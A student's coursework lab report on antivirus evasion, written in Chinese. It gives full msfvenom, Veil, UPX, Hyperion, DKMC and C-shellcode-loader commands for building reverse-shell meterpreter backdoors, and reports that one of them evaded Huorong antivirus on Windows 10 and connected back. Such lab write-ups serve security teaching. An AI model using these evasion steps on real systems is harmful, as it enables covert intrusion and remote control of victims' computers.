2019-2020-2 20175113完瑞 《网络对抗技术》Exp3 免杀原理与实践

Exp3 免杀原理与实践 

一、实践要求

1. 方法

①正确使用msf编码器

②msfvenom生成如jar之类的其他文件

③veil

④加壳工具

⑤使用C + shellcode编程

⑥使用其他课堂未介绍方法

2. 通过组合应用各种技术实现恶意代码免杀

3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验内容

1.方法

①正确使用msf编码器

(1)将上一个实验中用msf生成的后门程序放到virustotal检测,发现绝大多数的杀毒软件都可以辨别其为病毒,这类病毒几乎可以说是出师未捷身先死,刚进入就被杀软给杀掉了。

(2)接下来我们开始使用msf编码器:

  • 查看可以进行的编码类型: msfvenom --list encoders 
  • 使用  x86/shikata_ga_nai 方式进行编码
    • 1次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b 'x00' LHOST=192.168.81.129 LPORT=5113 -f exe >20175113cd2.exe 
    • 8次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b 'x00' LHOST=192.168.81.129 LPORT=5113 -f exe >20175113cd2.exe 

  • 将两次编码后的文件放到virustotal检测,结果依然没有太大变化

  • 综上,仅通过编码方式生成的payload是不可能做到免杀的

②msfvenom生成如jar之类的其他文件

  • 生成Java文件: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 x> 20175113_ja.jar 
  • 可以观察到,查杀率比简单编码方式要好些,但依然不乐观

  • 生成bash文件: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.81.129 LPORT=5113 -f raw > 20175113.sh 
  • bash是Linux系统脚本,在Windows下可能不会一般有人装环境来实现运行bash,所以杀软也不会记录这种文件,所以查杀率为0

  • 使用msfvenom生成更多类型后门程序请参见该博客

③veil

  • veil的安装明明简单却过于费心,可以在kali上在线安装veil:sudo apt-get install veil-evasion
  • 安装完成后进入界面:veil
  • 使用veil-evasion: use 1

  • 可以观察到我们有41个payload,可以使用list 查看payload以及使用use 数字 选取对应的payload
  • 选取  powershell/meterpreter/rev_tcp:use 22

  • 设置反弹连接的参数:
    • ip: set LHOST 192.168.81.129 
    • 端口: set LPORT 5113 
    • 生成: generate 
    • 文件名: 20175113 
  • 对文件扫描,结果还是不如人意

④加壳工具

  • 对①中生成的程序进行压缩壳upx加壳: upx 20175113cd2.exe -o 20175113cd2.upxed.exe 

  • 对①中生成的程序进行加密壳Hyperion加壳
    • 将要加密的程序复制到hyperion文件夹中:cp 20175113cd2.exe /usr/share/windows-resources/hyperion/20175113cd2.exe
    • 进入hyperion文件夹:cd /usr/share/windows-resources/hyperion/
    • 对程序进行加密壳:wine hyperion.exe -v 20175113cd2.exe 20175113cd2.upxed.Hy.exe

⑤使用C + shellcode编程

  • 使用msfvenom生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 -f c 

  • 新建一个5113sc.c文件,将上面生成的buf[]代入,内部代码为:
#include <stdio.h>
unsigned char buf[]=//生成的shellcode
int main()
{
    int (*func)()=(int(*)())buf;//调用shellcode
    func();
}
  • 安装mingw-w64: apt-get install mingw-w64 
  • 使用mingw-w64将c文件生成exe文件: i686-w64-mingw32-g++ 5113sc.c -o 5113sc.exe 
  • 对5113sc.exe检测一下

  • 按照实验二步骤尝试回连,发现回连成功

⑥使用其他课堂未介绍方法

下面介绍的DKMC方法是一种未成功免杀的方法,具体方法参考教程

  • 安装DKMC: git clone https://github.com/Mr-Un1k0d3r/DKMC.git 
  • 使用Msf生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 -f raw > 5113 
  • 进入DKMC文件夹: cd /home/20175113wr/DKMC/ 
  • 执行: python dkmc.py
  • 在DKMC中输入选项: sc
    • 设置source: set source /home/20175113wr/5113 
    • 生成shellcode: run 
    • 返回主菜单: exit 

  • 在DKMC中输入选项: gen
    • 设置shellcode: set shellcode .....(shellcode为run生成的shellcode)
    • 生成图像: run
    • 返回主菜单: exit

  • 在DKKMC中输入选项: ps
    • 设置url地址: set url http://192.168.81.129:8080/  .bmp(图片名为gen生成的图片名,可以手动重命名)
    • 生成bat文件: run
    • 返回主菜单: exit

  • 在DKKMC中输入选项: web
    • 设置端口: set port 8080
    • 启动web服务: run

  • 启动msfconsole
  • 将生成的bat文件在windows环境打开(或者命令提示符直接输入生成的powershell的代码)
  • 这种方法不能免杀

  • 关闭杀软的情况下,能成功回连

  • 这种将shellcode嵌入图片,通过网络分发的方法是课堂上没有提过的,失败的原因可能是因为企图调用powershell,而av和win10机制对这种行为极为敏感,所以难以达到免杀的目的

2.通过组合应用各种技术实现恶意代码免杀&3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

这是一种使用shellcode加载器的方法,具体步骤参考教程,shellcode加载器中效果最好使用较多的就是shellcode_launcher了(附上下载地址

  • 使用Msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.81.129 lport=5113 -f raw -o 20175113.raw 
  • 打开msfconsole进行监听:
use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.81.129       //Linux端的IP地址 
set LPORT 5113    //与之前输入的端口号一致
exploit    //开始监听
  • 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20175113.raw 
  • 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20175113.raw通过检测
  • Windows版本:Windows 10, version 1909,杀软:火绒5.0.40.12

三、基础问题回答

1.杀软是如何检测出恶意代码的?

(一)特征代码法:该方法是目前杀毒工具中必备的组成部分

(二)校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。

(三)行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。

2.免杀是做什么?

免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”

3.免杀的基本方法有哪些?

(1)采用不同的编码方式,或者编码次数

(2)对编码后生成的文件进行加壳,加压缩壳或者是加密壳

(3)还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤

4.开启杀软能绝对防止电脑中恶意代码吗?

     开启杀软并不能绝对防止电脑中恶意代码,不过及时更新杀软,少打开不安全的链接、少下载盗版软件,还是能大大降低中招的几率。

四、实验体会

          这次实验让我见识到了各式各样的防杀技巧,杀软在现在网络信息时代是非常重要的,但单单依靠杀软是力不能逮的,对恶意代码有一定的了解,才能有的放矢,不至于被泄露隐私。

原文地址:https://www.cnblogs.com/besti5113/p/12398918.html